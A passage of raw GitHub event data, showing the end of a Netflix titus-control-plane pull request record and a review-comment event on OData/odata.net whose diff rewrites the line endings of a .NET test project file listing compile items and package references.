ed_at":"2018-07-31T19:45:29Z","updated_at":"2019-07-22T22:20:28Z","pushed_at":"2019-07-28T23:04:37Z","git_url":"git://github.com/amit-git/titus-control-plane.git","ssh_url":"git@github.com:amit-git/titus-control-plane.git","clone_url":"https://github.com/amit-git/titus-control-plane.git","svn_url":"https://github.com/amit-git/titus-control-plane","homepage":"http://netflix.github.io/titus/","size":9133,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"Netflix:master","ref":"master","sha":"9fe358c1de44393762dd87d5a84df0ccc28c95e6","user":{"login":"Netflix","id":913567,"node_id":"MDEyOk9yZ2FuaXphdGlvbjkxMzU2Nw==","avatar_url":"https://avatars3.githubusercontent.com/u/913567?v=4","gravatar_id":"","url":"https://api.github.com/users/Netflix","html_url":"https://github.com/Netflix","followers_url":"https://api.github.com/users/Netflix/followers","following_url":"https://api.github.com/users/Netflix/following{/other_user}","gists_url":"https://api.github.com/users/Netflix/gists{/gist_id}","starred_url":"https://api.github.com/users/Netflix/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Netflix/subscriptions","organizations_url":"https://api.github.com/users/Netflix/orgs","repos_url":"https://api.github.com/users/Netflix/repos","events_url":"https://api.github.com/users/Netflix/events{/privacy}","received_events_url":"https://api.github.com/users/Netflix/received_events","type":"Organization","site_admin":false},"repo":{"id":107330274,"node_id":"MDEwOlJlcG9zaXRvcnkxMDczMzAyNzQ=","name":"titus-control-plane","full_name":"Netflix/titus-control-plane","private":false,"owner":{"login":"Netflix","id":913567,"node_id":"MDEyOk9yZ2FuaXphdGlvbjkxMzU2Nw==","avatar_url":"https://avatars3.githubusercontent.com/u/913567?v=4","gravatar_id":"","url":"https://api.github.com/users/Netflix","html_url":"https://github.com/Netflix","followers_url":"https://api.github.com/users/Netflix/followers","following_url":"https://api.github.com/users/Netflix/following{/other_user}","gists_url":"https://api.github.com/users/Netflix/gists{/gist_id}","starred_url":"https://api.github.com/users/Netflix/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Netflix/subscriptions","organizations_url":"https://api.github.com/users/Netflix/orgs","repos_url":"https://api.github.com/users/Netflix/repos","events_url":"https://api.github.com/users/Netflix/events{/privacy}","received_events_url":"https://api.github.com/users/Netflix/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/Netflix/titus-control-plane","description":"Titus is the Netflix Container Management Platform that manages containers and provides integrations to the infrastructure ecosystem.","fork":false,"url":"https://api.github.com/repos/Netflix/titus-control-plane","forks_url":"https://api.github.com/repos/Netflix/titus-control-plane/forks","keys_url":"https://api.github.com/repos/Netflix/titus-control-plane/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Netflix/titus-control-plane/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Netflix/titus-control-plane/teams","hooks_url":"https://api.github.com/repos/Netflix/titus-control-plane/hooks","issue_events_url":"https://api.github.com/repos/Netflix/titus-control-plane/issues/events{/number}","events_url":"https://api.github.com/repos/Netflix/titus-control-plane/events","assignees_url":"https://api.github.com/repos/Netflix/titus-control-plane/assignees{/user}","branches_url":"https://api.github.com/repos/Netflix/titus-control-plane/branches{/branch}","tags_url":"https://api.github.com/repos/Netflix/titus-control-plane/tags","blobs_url":"https://api.github.com/repos/Netflix/titus-control-plane/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Netflix/titus-control-plane/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Netflix/titus-control-plane/git/refs{/sha}","trees_url":"https://api.github.com/repos/Netflix/titus-control-plane/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Netflix/titus-control-plane/statuses/{sha}","languages_url":"https://api.github.com/repos/Netflix/titus-control-plane/languages","stargazers_url":"https://api.github.com/repos/Netflix/titus-control-plane/stargazers","contributors_url":"https://api.github.com/repos/Netflix/titus-control-plane/contributors","subscribers_url":"https://api.github.com/repos/Netflix/titus-control-plane/subscribers","subscription_url":"https://api.github.com/repos/Netflix/titus-control-plane/subscription","commits_url":"https://api.github.com/repos/Netflix/titus-control-plane/commits{/sha}","git_commits_url":"https://api.github.com/repos/Netflix/titus-control-plane/git/commits{/sha}","comments_url":"https://api.github.com/repos/Netflix/titus-control-plane/comments{/number}","issue_comment_url":"https://api.github.com/repos/Netflix/titus-control-plane/issues/comments{/number}","contents_url":"https://api.github.com/repos/Netflix/titus-control-plane/contents/{+path}","compare_url":"https://api.github.com/repos/Netflix/titus-control-plane/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Netflix/titus-control-plane/merges","archive_url":"https://api.github.com/repos/Netflix/titus-control-plane/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Netflix/titus-control-plane/downloads","issues_url":"https://api.github.com/repos/Netflix/titus-control-plane/issues{/number}","pulls_url":"https://api.github.com/repos/Netflix/titus-control-plane/pulls{/number}","milestones_url":"https://api.github.com/repos/Netflix/titus-control-plane/milestones{/number}","notifications_url":"https://api.github.com/repos/Netflix/titus-control-plane/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Netflix/titus-control-plane/labels{/name}","releases_url":"https://api.github.com/repos/Netflix/titus-control-plane/releases{/id}","deployments_url":"https://api.github.com/repos/Netflix/titus-control-plane/deployments","created_at":"2017-10-17T22:20:55Z","updated_at":"2019-07-29T12:31:03Z","pushed_at":"2019-07-28T23:04:39Z","git_url":"git://github.com/Netflix/titus-control-plane.git","ssh_url":"git@github.com:Netflix/titus-control-plane.git","clone_url":"https://github.com/Netflix/titus-control-plane.git","svn_url":"https://github.com/Netflix/titus-control-plane","homepage":"http://netflix.github.io/titus/","size":9086,"stargazers_count":222,"watchers_count":222,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":39,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":39,"open_issues":2,"watchers":222,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/Netflix/titus-control-plane/pulls/614"},"html":{"href":"https://github.com/Netflix/titus-control-plane/pull/614"},"issue":{"href":"https://api.github.com/repos/Netflix/titus-control-plane/issues/614"},"comments":{"href":"https://api.github.com/repos/Netflix/titus-control-plane/issues/614/comments"},"review_comments":{"href":"https://api.github.com/repos/Netflix/titus-control-plane/pulls/614/comments"},"review_comment":{"href":"https://api.github.com/repos/Netflix/titus-control-plane/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/Netflix/titus-control-plane/pulls/614/commits"},"statuses":{"href":"https://api.github.com/repos/Netflix/titus-control-plane/statuses/894126e01472a508d9deb90e4390270126210db1"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 107330274,
"name": "Netflix/titus-control-plane",
"url": "https://api.github.com/repos/Netflix/titus-control-plane"
}
|
{
"id": 319263,
"login": "corindwyer",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/319263?",
"url": "https://api.github.com/users/corindwyer"
}
|
{
"id": 913567,
"login": "Netflix",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/913567?",
"url": "https://api.github.com/orgs/Netflix"
}
| 2019-07-29T20:18:09 |
10106387684
|
{"actor":{"display_login":"corindwyer"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/OData/odata.net/pulls/comments/348065600","pull_request_review_id":319217846,"id":348065600,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDM0ODA2NTYwMA==","diff_hunk":"@@ -1,147 +1,147 @@\n-<Project Sdk=\"Microsoft.NET.Sdk\">\n-\n- <PropertyGroup>\n- <AssemblyName>Microsoft.Test.OData.Tests.Client</AssemblyName>\n- <RootNamespace>Microsoft.Test.OData.Tests.Client</RootNamespace>\n- <TargetFramework>netcoreapp2.0</TargetFramework>\n- <!-- Disable GenerateAssemblyInfo to use the existing AssemblyInfo.cs -->\n- <GenerateAssemblyInfo>false</GenerateAssemblyInfo>\n- <SignAssembly>True</SignAssembly>\n- <AssemblyOriginatorKeyFile>..\\..\\..\\..\\..\\tools\\StrongNamePublicKeys\\testkey.snk</AssemblyOriginatorKeyFile>\n- <OutputPath>..\\..\\..\\..\\..\\bin\\AnyCPU\\$(Configuration)\\Test\\.NETPortable</OutputPath>\n- <AllowPartialTrustedCalls>true</AllowPartialTrustedCalls>\n- <AssemblyAttributeClsCompliant>false</AssemblyAttributeClsCompliant>\n- </PropertyGroup>\n-\n- <ItemGroup>\n- <Compile Remove=\"AsyncRequestTests\\**\" />\n- <Compile Remove=\"CodeGenerationTests\\**\" />\n- <Compile Remove=\"ComplexTypeTests\\**\" />\n- <Compile Remove=\"ContainmentTest\\**\" />\n- <Compile Remove=\"CustomInstanceAnnotationsTests\\**\" />\n- <Compile Remove=\"ODataSimplifiedServiceTests\\**\" />\n- <Compile Remove=\"OpenTypesTests\\**\" />\n- <Compile Remove=\"PayloadValueConverterTests\\**\" />\n- <Compile Remove=\"PipelineEventsTests\\**\" />\n- <Compile Remove=\"PluggableFormatServiceTests\\**\" />\n- <Compile Remove=\"PropertyTrackingTests\\**\" />\n- <Compile Remove=\"UrlModifyingTests\\**\" />\n- <EmbeddedResource Remove=\"AsyncRequestTests\\**\" />\n- <EmbeddedResource Remove=\"CodeGenerationTests\\**\" />\n- <EmbeddedResource Remove=\"ComplexTypeTests\\**\" />\n- <EmbeddedResource Remove=\"ContainmentTest\\**\" />\n- <EmbeddedResource Remove=\"CustomInstanceAnnotationsTests\\**\" />\n- <EmbeddedResource Remove=\"ODataSimplifiedServiceTests\\**\" />\n- <EmbeddedResource Remove=\"OpenTypesTests\\**\" />\n- <EmbeddedResource Remove=\"PayloadValueConverterTests\\**\" />\n- <EmbeddedResource Remove=\"PipelineEventsTests\\**\" />\n- <EmbeddedResource Remove=\"PluggableFormatServiceTests\\**\" />\n- <EmbeddedResource Remove=\"PropertyTrackingTests\\**\" />\n- <EmbeddedResource Remove=\"UrlModifyingTests\\**\" />\n- <None Remove=\"AsyncRequestTests\\**\" />\n- <None Remove=\"CodeGenerationTests\\**\" />\n- <None Remove=\"ComplexTypeTests\\**\" />\n- <None Remove=\"ContainmentTest\\**\" />\n- <None Remove=\"CustomInstanceAnnotationsTests\\**\" />\n- <None Remove=\"ODataSimplifiedServiceTests\\**\" />\n- <None Remove=\"OpenTypesTests\\**\" />\n- <None Remove=\"PayloadValueConverterTests\\**\" />\n- <None Remove=\"PipelineEventsTests\\**\" />\n- <None Remove=\"PluggableFormatServiceTests\\**\" />\n- <None Remove=\"PropertyTrackingTests\\**\" />\n- <None Remove=\"UrlModifyingTests\\**\" />\n- </ItemGroup>\n-\n- <ItemGroup>\n- <Compile Remove=\"ActionOverloadingTests\\ActionOverloadingEndToEndTests.cs\" />\n- <Compile Remove=\"ClientTests\\ClientOpenTypeUpdateTests.cs\" />\n- <Compile Remove=\"ClientTests\\ClientQueryTests.cs\" />\n- <Compile Remove=\"ClientTests\\ClientUpdateTests.cs\" />\n- <Compile Remove=\"ClientWithoutTypeResolverTests\\JsonWithoutTypeResolverTests.cs\" />\n- <Compile Remove=\"ClientWithoutTypeResolverTests\\MismatchedClientModelWithoutTypeResolverTests.cs\" />\n- <Compile Remove=\"ClientWithoutTypeResolverTests\\OpenTypesWithoutTypeResolverTests.cs\" />\n- <Compile Remove=\"KeyAsSegmentTests\\ClientEndToEndTests.cs\" />\n- <Compile Remove=\"KeyAsSegmentTests\\ClientUrlConventionsTests.cs\" />\n- <Compile Remove=\"KeyAsSegmentTests\\DefaultUrlConventionsTests.cs\" />\n- <Compile Remove=\"KeyAsSegmentTests\\DollarSegmentTests.cs\" />\n- <Compile Remove=\"KeyAsSegmentTests\\LiteralFormatTests.cs\" />\n- <Compile Remove=\"KeyAsSegmentTests\\PrimitiveKeyValuesTests.cs\" />\n- <Compile Remove=\"KeyAsSegmentTests\\StreamTests.cs\" />\n- <Compile Remove=\"KeyAsSegmentTests\\UpdateTests.cs\" />\n- <Compile Remove=\"ModelReferenceTests\\ModelReferenceClientTests.cs\" />\n- <Compile Remove=\"ODataWCFServiceTests\\AbstractEntityTypeTests.cs\" />\n- <Compile Remove=\"ODataWCFServiceTests\\IDReadLinkEditLinkTests.cs\" />\n- <Compile Remove=\"OperationTests\\OperationClientTests.cs\" />\n- <Compile Remove=\"OperationTests\\OperationT4Tests.cs\" />\n- <Compile Remove=\"QueryCountTests.cs\" />\n- <Compile Remove=\"SingletonTests\\SingletonClientTests.cs\" />\n- </ItemGroup>\n-\n- <ItemGroup>\n- <Compile Include=\"..\\..\\..\\..\\..\\src\\Microsoft.OData.Client\\Wrappers\\ODataItemWrapper.cs\" Link=\"References\\ODataItemWrapper.cs\" />\n- <Compile Include=\"..\\..\\..\\..\\..\\src\\Microsoft.OData.Client\\Wrappers\\ODataNestedResourceInfoWrapper.cs\" Link=\"DisableAtomTests\\ODataNestedResourceInfoWrapper.cs\" />\n- <Compile Include=\"..\\..\\..\\..\\..\\src\\Microsoft.OData.Client\\Wrappers\\ODataResourceSetWrapper.cs\" Link=\"DisableAtomTests\\ODataResourceSetWrapper.cs\" />\n- <Compile Include=\"..\\..\\..\\..\\..\\src\\Microsoft.OData.Client\\Wrappers\\ODataResourceWrapper.cs\" Link=\"DisableAtomTests\\ODataResourceWrapper.cs\" />\n- <Compile Include=\"..\\..\\..\\..\\..\\src\\Microsoft.OData.Client\\Wrappers\\ODataWriterHelper.cs\" Link=\"DisableAtomTests\\ODataWriterHelper.cs\" />\n- <Compile Include=\"..\\..\\..\\Framework\\Core\\Client\\ClientExceptionUtil.cs\" Link=\"ClientTests\\ClientExceptionUtil.cs\" />\n- <Compile Include=\"..\\..\\..\\Framework\\Core\\Client\\DataServiceContextWrapper.cs\" Link=\"ServiceWrapper\\DataServiceContextWrapper.cs\" />\n- <Compile Include=\"..\\..\\..\\Framework\\Core\\Common\\AssemblyResourceLookup.cs\" Link=\"References\\AssemblyResourceLookup.cs\" />\n- <Compile Include=\"..\\..\\..\\Framework\\Core\\Common\\DataComparisonException.cs\" Link=\"References\\DataComparisonException.cs\" />\n- <Compile Include=\"..\\..\\..\\Framework\\Core\\Common\\ExceptionUtilities.cs\" Link=\"References\\ExceptionUtilities.cs\" />\n- <Compile Include=\"..\\..\\..\\Framework\\Core\\Common\\HttpHeaders.cs\" Link=\"ClientTests\\HttpHeaders.cs\" />\n- <Compile Include=\"..\\..\\..\\Framework\\Core\\Common\\IResourceLookup.cs\" Link=\"References\\IResourceLookup.cs\" />\n- <Compile Include=\"..\\..\\..\\Framework\\Core\\Common\\MimeTypes.cs\" Link=\"ClientTests\\MimeTypes.cs\" />\n- <Compile Include=\"..\\..\\..\\Framework\\Core\\Common\\TestFailedException.cs\" Link=\"References\\TestFailedException.cs\" />\n- <Compile Include=\"..\\..\\..\\Framework\\Core\\Common\\ToStringConverter.cs\" Link=\"References\\ToStringConverter.cs\" />\n- <Compile Include=\"..\\..\\..\\Framework\\Core\\Server\\IServiceWrapper.cs\" Link=\"ServiceWrapper\\IServiceWrapper.cs\" />\n- <Compile Include=\"..\\..\\..\\Framework\\Core\\Verification\\IStringResourceVerifier.cs\" Link=\"References\\IStringResourceVerifier.cs\" />\n- <Compile Include=\"..\\..\\..\\Framework\\Core\\Verification\\StringResourceUtil.cs\" Link=\"References\\StringResourceUtil.cs\" />\n- <Compile Include=\"..\\..\\..\\Framework\\Core\\Verification\\StringResourceVerifier.cs\" Link=\"References\\StringResourceVerifier.cs\" />\n- <Compile Include=\"..\\..\\..\\Services\\CSDSCReferences\\Microsoft.Test.OData.Services.TestServices.ActionOverloadingServiceReference.cs\" Link=\"References\\Microsoft.Test.OData.Services.TestServices.ActionOverloadingServiceReference.cs\" />\n- <Compile Include=\"..\\..\\..\\Services\\CSDSCReferences\\Microsoft.Test.OData.Services.TestServices.AstoriaDefaultServiceReference.cs\" Link=\"References\\Microsoft.Test.OData.Services.TestServices.AstoriaDefaultServiceReference.cs\" />\n- <Compile Include=\"..\\..\\..\\Services\\CSDSCReferences\\Microsoft.Test.OData.Services.TestServices.KeyAsSegmentServiceReference.cs\" Link=\"References\\Microsoft.Test.OData.Services.TestServices.KeyAsSegmentServiceReference.cs\" />\n- <Compile Include=\"..\\..\\..\\Services\\CSDSCReferences\\Microsoft.Test.OData.Services.TestServices.ODataWriterDefaultServiceReference.cs\" Link=\"References\\Microsoft.Test.OData.Services.TestServices.ODataWriterDefaultServiceReference.cs\" />\n- <Compile Include=\"..\\..\\..\\Services\\CSDSCReferences\\Microsoft.Test.OData.Services.TestServices.PrimitiveKeysServiceReference.cs\" Link=\"References\\Microsoft.Test.OData.Services.TestServices.PrimitiveKeysServiceReference.cs\" />\n- <Compile Include=\"..\\..\\..\\Services\\TestServices\\IServiceUriGenerator.cs\" Link=\"ServiceWrapper\\IServiceUriGenerator.cs\" />\n- <Compile Include=\"..\\..\\..\\Services\\TestServices\\OpenTypesServiceClientTypes.cs\" Link=\"ClientWithoutTypeResolverTests\\OpenTypesServiceClientTypes.cs\" />\n- <Compile Include=\"..\\..\\..\\Services\\TestServices\\Service References\\ODataWCFModelReferenceServiceReference\\Microsoft.Test.OData.Services.TestServices.ModelReferenceServiceReference.cs\" Link=\"References\\Microsoft.Test.OData.Services.TestServices.ModelReferenceServiceReference.cs\" />\n- <Compile Include=\"..\\..\\..\\Services\\TestServices\\T4Clients\\OperationService.cs\" Link=\"OperationTests\\OperationService.cs\" />\n- <Compile Include=\"..\\..\\..\\Services\\TestServices\\TestServiceUtil.cs\" Link=\"ServiceWrapper\\TestServiceUtil.cs\" />\n- <Compile Include=\"..\\AsynchronousTests\\AsynchronousAttribute.cs\" Link=\"AsynchronousAttribute.cs\" />\n- <Compile Include=\"..\\AsynchronousTests\\AsynchronousDelayQueryTests.cs\" Link=\"AsynchronousDelayQueryTests.cs\" />\n- <Compile Include=\"..\\AsynchronousTests\\AsynchronousQueryTests.cs\" Link=\"AsynchronousQueryTests.cs\" />\n- <Compile Include=\"..\\AsynchronousTests\\AsynchronousSingletonClientTest.cs\" Link=\"AsynchronousSingletonClientTest.cs\" />\n- <Compile Include=\"..\\AsynchronousTests\\AsynchronousTestsExtensionMethodsDesktop.cs\" Link=\"References\\AsynchronousTestsExtensionMethodsDesktop.cs\" />\n- <Compile Include=\"..\\AsynchronousTests\\AsynchronousUpdateTests.cs\" Link=\"AsynchronousUpdateTests.cs\" />\n- <Compile Include=\"..\\AsynchronousTests\\AsyncMethodTests.cs\" Link=\"AsyncMethodTests.cs\" />\n- <Compile Include=\"..\\EndToEndTestBase.cs\" Link=\"EndToEndTestBase.cs\" />\n- <Compile Include=\"..\\ServiceGeneratorFactory.cs\" Link=\"ServiceGeneratorFactory.cs\" />\n- </ItemGroup>\n-\n- <ItemGroup>\n- <PackageReference Include=\"Microsoft.NETCore.Portable.Compatibility\" Version=\"1.0.1\" />\n- <PackageReference Include=\"Microsoft.NET.Test.Sdk\" Version=\"15.3.0\" />\n- <PackageReference Include=\"MSTest.TestAdapter\" Version=\"1.1.18\" />\n- <PackageReference Include=\"MSTest.TestFramework\" Version=\"1.1.18\" />\n- <PackageReference Include=\"System.ComponentModel.Annotations\" Version=\"4.4.0\" />\n- <PackageReference Include=\"System.Composition\" Version=\"1.1.0\" />\n- <PackageReference Include=\"System.Runtime.Serialization.Formatters\" Version=\"4.3.0\" />\n- <PackageReference Include=\"System.Runtime.Serialization.Primitives\" Version=\"4.3.0\" />\n- <PackageReference Include=\"System.ServiceModel.Primitives\" Version=\"4.4.0\" />\n- <PackageReference Include=\"xunit\" Version=\"2.2.0\" />\n- <PackageReference Include=\"xunit.runner.visualstudio\" Version=\"2.2.0\" />\n- </ItemGroup>\n-\n- <ItemGroup>\n- <ProjectReference Include=\"..\\..\\..\\..\\..\\src\\Microsoft.OData.Client\\Microsoft.OData.Client.NetStandard.VS2017.csproj\" />\n- <ProjectReference Include=\"..\\..\\..\\..\\..\\src\\Microsoft.OData.Core\\Microsoft.OData.Core.NetStandard.VS2017.csproj\" />\n- <ProjectReference Include=\"..\\..\\..\\..\\..\\src\\Microsoft.OData.Edm\\Microsoft.OData.Edm.NetStandard.VS2017.csproj\" />\n- <ProjectReference Include=\"..\\..\\..\\..\\..\\src\\Microsoft.Spatial\\Microsoft.Spatial.NetStandard.VS2017.csproj\" />\n- <ProjectReference Include=\"..\\..\\..\\..\\Common\\Microsoft.Test.OData.DependencyInjection\\Microsoft.Test.OData.DependencyInjection.NetCore.csproj\" />\n- </ItemGroup>\n-\n+<Project Sdk=\"Microsoft.NET.Sdk\">\r\n+\r\n+ <PropertyGroup>\r\n+ <AssemblyName>Microsoft.Test.OData.Tests.Client</AssemblyName>\r\n+ <RootNamespace>Microsoft.Test.OData.Tests.Client</RootNamespace>\r\n+ <TargetFramework>netcoreapp2.0</TargetFramework>\r\n+ <!-- Disable GenerateAssemblyInfo to use the existing AssemblyInfo.cs -->\r\n+ <GenerateAssemblyInfo>false</GenerateAssemblyInfo>\r\n+ <SignAssembly>True</SignAssembly>\r\n+ <AssemblyOriginatorKeyFile>..\\..\\..\\..\\..\\tools\\StrongNamePublicKeys\\testkey.snk</AssemblyOriginatorKeyFile>\r\n+ <OutputPath>..\\..\\..\\..\\..\\bin\\AnyCPU\\$(Configuration)\\Test\\.NETPortable</OutputPath>\r\n+ <AllowPartialTrustedCalls>true</AllowPartialTrustedCalls>\r\n+ <AssemblyAttributeClsCompliant>false</AssemblyAttributeClsCompliant>\r\n+ </PropertyGroup>\r\n+\r\n+ <ItemGroup>\r\n+ <Compile Remove=\"AsyncRequestTests\\**\" />\r\n+ <Compile Remove=\"CodeGenerationTests\\**\" />\r\n+ <Compile Remove=\"ComplexTypeTests\\**\" />\r\n+ <Compile Remove=\"ContainmentTest\\**\" />\r\n+ <Compile Remove=\"CustomInstanceAnnotationsTests\\**\" />\r\n+ <Compile Remove=\"ODataSimplifiedServiceTests\\**\" />\r\n+ <Compile Remove=\"OpenTypesTests\\**\" />\r\n+ <Compile Remove=\"PayloadValueConverterTests\\**\" />\r\n+ <Compile Remove=\"PipelineEventsTests\\**\" />\r\n+ <Compile Remove=\"PluggableFormatServiceTests\\**\" />\r\n+ <Compile Remove=\"PropertyTrackingTests\\**\" />\r\n+ <Compile Remove=\"UrlModifyingTests\\**\" />\r\n+ <EmbeddedResource Remove=\"AsyncRequestTests\\**\" />\r\n+ <EmbeddedResource Remove=\"CodeGenerationTests\\**\" />\r\n+ <EmbeddedResource Remove=\"ComplexTypeTests\\**\" />\r\n+ <EmbeddedResource Remove=\"ContainmentTest\\**\" />\r\n+ <EmbeddedResource Remove=\"CustomInstanceAnnotationsTests\\**\" />\r\n+ <EmbeddedResource Remove=\"ODataSimplifiedServiceTests\\**\" />\r\n+ <EmbeddedResource Remove=\"OpenTypesTests\\**\" />\r\n+ <EmbeddedResource Remove=\"PayloadValueConverterTests\\**\" />\r\n+ <EmbeddedResource Remove=\"PipelineEventsTests\\**\" />\r\n+ <EmbeddedResource Remove=\"PluggableFormatServiceTests\\**\" />\r\n+ <EmbeddedResource Remove=\"PropertyTrackingTests\\**\" />\r\n+ <EmbeddedResource Remove=\"UrlModifyingTests\\**\" />\r\n+ <None Remove=\"AsyncRequestTests\\**\" />\r\n+ <None Remove=\"CodeGenerationTests\\**\" />\r\n+ <None Remove=\"ComplexTypeTests\\**\" />\r\n+ <None Remove=\"ContainmentTest\\**\" />\r\n+ <None Remove=\"CustomInstanceAnnotationsTests\\**\" />\r\n+ <None Remove=\"ODataSimplifiedServiceTests\\**\" />\r\n+ <None Remove=\"OpenTypesTests\\**\" />\r\n+ <None Remove=\"PayloadValueConverterTests\\**\" />\r\n+ <None Remove=\"PipelineEventsTests\\**\" />\r\n+ <None Remove=\"PluggableFormatServiceTests\\**\" />\r\n+ <None Remove=\"PropertyTrackingTests\\**\" />\r\n+ <None Remove=\"UrlModifyingTests\\**\" />\r\n+ </ItemGroup>\r\n+\r\n+ <ItemGroup>\r\n+ <Compile Remove=\"ActionOverloadingTests\\ActionOverloadingEndToEndTests.cs\" />\r\n+ <Compile Remove=\"ClientTests\\ClientOpenTypeUpdateTests.cs\" />\r\n+ <Compile Remove=\"ClientTests\\ClientQueryTests.cs\" />\r\n+ <Compile Remove=\"ClientTests\\ClientUpdateTests.cs\" />\r\n+ <Compile Remove=\"ClientWithoutTypeResolverTests\\JsonWithoutTypeResolverTests.cs\" />\r\n+ <Compile Remove=\"ClientWithoutTypeResolverTests\\MismatchedClientModelWithoutTypeResolverTests.cs\" />\r\n+ <Compile Remove=\"ClientWithoutTypeResolverTests\\OpenTypesWithoutTypeResolverTests.cs\" />\r\n+ <Compile Remove=\"KeyAsSegmentTests\\ClientEndToEndTests.cs\" />\r\n+ <Compile Remove=\"KeyAsSegmentTests\\ClientUrlConventionsTests.cs\" />\r\n+ <Compile Remove=\"KeyAsSegmentTests\\DefaultUrlConventionsTests.cs\" />\r\n+ <Compile Remove=\"KeyAsSegmentTests\\DollarSegmentTests.cs\" />\r\n+ <Compile Remove=\"KeyAsSegmentTests\\LiteralFormatTests.cs\" />\r\n+ <Compile Remove=\"KeyAsSegmentTests\\PrimitiveKeyValuesTests.cs\" />\r\n+ <Compile Remove=\"KeyAsSegmentTests\\StreamTests.cs\" />\r\n+ <Compile Remove=\"KeyAsSegmentTests\\UpdateTests.cs\" />\r\n+ <Compile Remove=\"ModelReferenceTests\\ModelReferenceClientTests.cs\" />\r\n+ <Compile Remove=\"ODataWCFServiceTests\\AbstractEntityTypeTests.cs\" />\r\n+ <Compile Remove=\"ODataWCFServiceTests\\IDReadLinkEditLinkTests.cs\" />\r\n+ <Compile Remove=\"OperationTests\\OperationClientTests.cs\" />\r\n+ <Compile Remove=\"OperationTests\\OperationT4Tests.cs\" />\r\n+ <Compile Remove=\"QueryCountTests.cs\" />\r\n+ <Compile Remove=\"SingletonTests\\SingletonClientTests.cs\" />\r\n+ </ItemGroup>\r\n+\r\n+ <ItemGroup>\r\n+ <Compile Include=\"..\\..\\..\\..\\..\\src\\Microsoft.OData.Client\\Wrappers\\ODataItemWrapper.cs\" Link=\"References\\ODataItemWrapper.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\..\\..\\src\\Microsoft.OData.Client\\Wrappers\\ODataNestedResourceInfoWrapper.cs\" Link=\"DisableAtomTests\\ODataNestedResourceInfoWrapper.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\..\\..\\src\\Microsoft.OData.Client\\Wrappers\\ODataResourceSetWrapper.cs\" Link=\"DisableAtomTests\\ODataResourceSetWrapper.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\..\\..\\src\\Microsoft.OData.Client\\Wrappers\\ODataResourceWrapper.cs\" Link=\"DisableAtomTests\\ODataResourceWrapper.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\..\\..\\src\\Microsoft.OData.Client\\Wrappers\\ODataWriterHelper.cs\" Link=\"DisableAtomTests\\ODataWriterHelper.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Framework\\Core\\Client\\ClientExceptionUtil.cs\" Link=\"ClientTests\\ClientExceptionUtil.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Framework\\Core\\Client\\DataServiceContextWrapper.cs\" Link=\"ServiceWrapper\\DataServiceContextWrapper.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Framework\\Core\\Common\\AssemblyResourceLookup.cs\" Link=\"References\\AssemblyResourceLookup.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Framework\\Core\\Common\\DataComparisonException.cs\" Link=\"References\\DataComparisonException.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Framework\\Core\\Common\\ExceptionUtilities.cs\" Link=\"References\\ExceptionUtilities.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Framework\\Core\\Common\\HttpHeaders.cs\" Link=\"ClientTests\\HttpHeaders.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Framework\\Core\\Common\\IResourceLookup.cs\" Link=\"References\\IResourceLookup.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Framework\\Core\\Common\\MimeTypes.cs\" Link=\"ClientTests\\MimeTypes.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Framework\\Core\\Common\\TestFailedException.cs\" Link=\"References\\TestFailedException.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Framework\\Core\\Common\\ToStringConverter.cs\" Link=\"References\\ToStringConverter.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Framework\\Core\\Server\\IServiceWrapper.cs\" Link=\"ServiceWrapper\\IServiceWrapper.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Framework\\Core\\Verification\\IStringResourceVerifier.cs\" Link=\"References\\IStringResourceVerifier.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Framework\\Core\\Verification\\StringResourceUtil.cs\" Link=\"References\\StringResourceUtil.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Framework\\Core\\Verification\\StringResourceVerifier.cs\" Link=\"References\\StringResourceVerifier.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Services\\CSDSCReferences\\Microsoft.Test.OData.Services.TestServices.ActionOverloadingServiceReference.cs\" 